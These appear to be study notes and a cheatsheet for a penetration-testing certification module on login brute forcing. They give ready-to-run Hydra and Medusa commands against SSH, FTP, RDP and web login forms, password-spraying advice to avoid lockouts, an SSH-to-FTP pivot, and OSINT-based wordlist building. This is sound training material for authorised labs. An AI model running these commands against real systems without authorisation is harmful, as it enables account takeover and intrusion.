Login Brute Forcing — Hydra, Medusa, Wordlists and Custom Lists (HTB CWES)
Built from the Login Brute Forcing module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every tool flag and syntax kept, condensed. Labs and lessons are on HTB Academy.
Brute forcing = try credentials until one works. It's the fallback when exploits and social engineering fail, and it's devastating against weak or default passwords. The craft is picking the right attack type, the right wordlist, and getting the tool's success/failure condition right.
1. Attack types & wordlists
| Type | Idea |
|---|---|
| Simple brute force | every char combination (charset^length) |
| Dictionary | a wordlist of likely passwords (rockyou) |
| Hybrid | dictionary words + mutations (Summer2023 → Summer2024!) |
| Credential stuffing | leaked user:pass reused on other sites |
| Password spraying | few common passwords × many users (beats lockouts) |
| Reverse brute force | one password × many users |
Default credentials are the easiest win (admin/admin, root/root…). Start there. Key SecLists lists:
Usernames/top-usernames-shortlist.txt Passwords/Common-Credentials/2023-200_most_used_passwords.txt
Usernames/xato-net-10-million-usernames.txt Passwords/Leaked-Databases/rockyou.txt
Passwords/Default-Credentials/default-passwords.txt
2. Hydra
Fast, parallel network login cracker. Syntax: hydra [login] [pass] [opts] service://target.
| Flag | Meaning |
|---|---|
-l user / -L users.txt |
single / list of usernames |
-p pass / -P pass.txt |
single / list of passwords |
-t N |
parallel tasks |
-f |
stop at first hit |
-s PORT |
non-default port |
-V |
verbose (show each try) |
-x 6:8:charset |
generate brute-force passwords |
-M targets.txt |
multiple targets |
Services: ssh, ftp, http-get, http-post-form, smtp, pop3, imap, mysql, mssql, rdp, vnc.
hydra -l root -P pass.txt ssh://10.10.10.10
hydra -L users.txt -P pass.txt -s 2121 -V ftp.example.com ftp
hydra -l administrator -x 6:8:abc...XYZ0-9 10.10.10.10 rdp # generated passwords
HTTP Basic Auth
401 + WWW-Authenticate → base64 user:pass in Authorization. Use http-get:
hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 127.0.0.1 http-get / -s 81
Login forms — http-post-form
The hard part is the condition string: "path:params:condition", with ^USER^/^PASS^ placeholders.
- Failure condition
F=string— mark failed if the response contains it (e.g.F=Invalid credentials). Most common. - Success condition
S=…— mark success on a status (S=302) or keyword (S=Dashboard).
hydra -L users.txt -P pass.txt -f IP -s 5000 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"
hydra -l admin -P pass.txt www.example.com http-post-form "/login:user=^USER^&pass=^PASS^:S=302"
Find the path, field names and the fail/success string by inspecting the form (DevTools → the name= attributes), watching the Network tab, or intercepting in Burp. Include any hidden fields (CSRF tokens) in the params.
3. Medusa
Parallel, modular cracker. Syntax: medusa [target] [creds] -M module [-m opts].
| Flag | Meaning |
|---|---|
-h host / -H hosts.txt |
target(s) |
-u user / -U users.txt |
username(s) |
-p pass / -P pass.txt |
password(s) |
-M module |
ssh, ftp, http, web-form, mysql, rdp… |
-m "opts" |
module options |
-t N · -f/-F · -n PORT · -v LEVEL |
tasks · stop at first · port · verbose |
-e ns |
also try empty (n) and same-as-username (s) passwords |
medusa -h IP -n PORT -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -t 3
medusa -h IP -u ftpuser -P pass.txt -M ftp -t 5
medusa -M web-form -h site -U users.txt -P pass.txt -m FORM:"username=^USER^&password=^PASS^:F=Invalid"
medusa -h 10.0.0.5 -U users.txt -e ns -M ssh # empty / default passwords
4. Service pivot (SSH → FTP)
Crack SSH, log in, then enumerate internally and brute the next service:
medusa -h IP -n PORT -u sshuser -P pass.txt -M ssh -t 3 # crack
ssh sshuser@IP -p PORT # login
netstat -tulpn | grep LISTEN # find :21 (or nmap localhost)
# /home has ftpuser → brute FTP:
medusa -h 127.0.0.1 -u ftpuser -P pass.txt -M ftp -t 5
ftp ftp://ftpuser:PASS@localhost # ftp> get flag.txt
5. Custom wordlists
Generic lists miss targeted conventions. Build per-target.
Filter a list to the password policy with chained grep:
grep -E '^.{8,}$' list.txt | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' > filtered.txt
# 2+ special chars: ... | grep -E '([!@#$%^&*].*){2,}'
Usernames — Username Anarchy (name → every convention: jane, j.smith, smithj, js…):
git clone https://github.com/urbanadventurer/username-anarchy
./username-anarchy Jane Smith > users.txt
Passwords — CUPP (OSINT-driven: name, birthdate, partner, pet, company, interests → mutations, leetspeak, years, specials):
cupp -i # interactive; outputs e.g. jane.txt
Then filter to policy and feed both lists to Hydra:
hydra -L users.txt -P jane-filtered.txt IP -s PORT -f http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"
6. What to carry into the CWES exam
- Default creds first, then targeted dictionary, then hybrid. Password-spray to dodge lockouts.
- The condition string makes or breaks
http-post-form: get the exact fail string (F=Invalid credentials) or a success signal (S=302/keyword) by inspecting a real failed/successful login in DevTools/Burp. - Know both tools: Hydra
http-post-formand Medusaweb-formfor web;ssh/ftpmodules for services;-e ns(Medusa) for empty/default. - Build the wordlist to the target: Username Anarchy for names, CUPP for OSINT passwords,
grepto match the policy — far faster than rockyou. - The skills assessment is two-stage: brute a login to get a username, then brute the next target with it.
Cheatsheet — Login Brute Forcing
Hydra
hydra -l USER -P pass.txt ssh://IP
hydra -L users.txt -P pass.txt -s PORT -V ftp.host ftp
hydra -l USER -P pass.txt IP http-get / -s 81 # basic auth
hydra -L users.txt -P pass.txt -f IP -s PORT http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"
hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=302" # success condition
hydra -l admin -x 6:8:abc...0-9 IP rdp # generate passwords
Medusa
medusa -h IP -u USER -P pass.txt -M ssh -t 3
medusa -h IP -u USER -P pass.txt -M ftp
medusa -M web-form -h host -U users.txt -P pass.txt -m FORM:"username=^USER^&password=^PASS^:F=Invalid"
medusa -h IP -U users.txt -e ns -M ssh # empty / same-as-user
Wordlists
./username-anarchy Jane Smith > users.txt
cupp -i # → jane.txt
grep -E '^.{8,}$' l | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' > filtered.txt
# SecLists: top-usernames-shortlist.txt · 2023-200_most_used_passwords.txt · rockyou.txt · default-passwords.txt
Built from HTB Academy's Login Brute Forcing module — labs, lessons and the CWES exam are on HTB Academy.